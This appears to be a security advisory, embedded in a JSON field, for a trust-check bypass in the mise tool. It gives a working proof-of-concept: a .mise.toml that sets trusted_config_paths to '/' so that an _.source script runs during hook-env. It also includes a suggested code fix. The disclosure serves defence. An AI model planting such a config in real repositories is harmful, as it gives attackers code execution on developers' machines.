+ "details": "### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n if canonicalized_path.starts_with(p) {\n add_trusted(canonicalized_path.to_path_buf());\n return true;\n }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv > /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt => trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {\n let raw = file::read_to_string(path)?;\n let settings_file: SettingsFile = toml::from_str(&raw)?;\n let mut settings = settings_file.settings;\n\n if !config::is_global_config(path) {\n settings.yes = None;\n settings.ci = None;\n settings.trusted_config_paths = None;\n settings.paranoid = None;\n }\n\n Ok(settings)\n}\n```",
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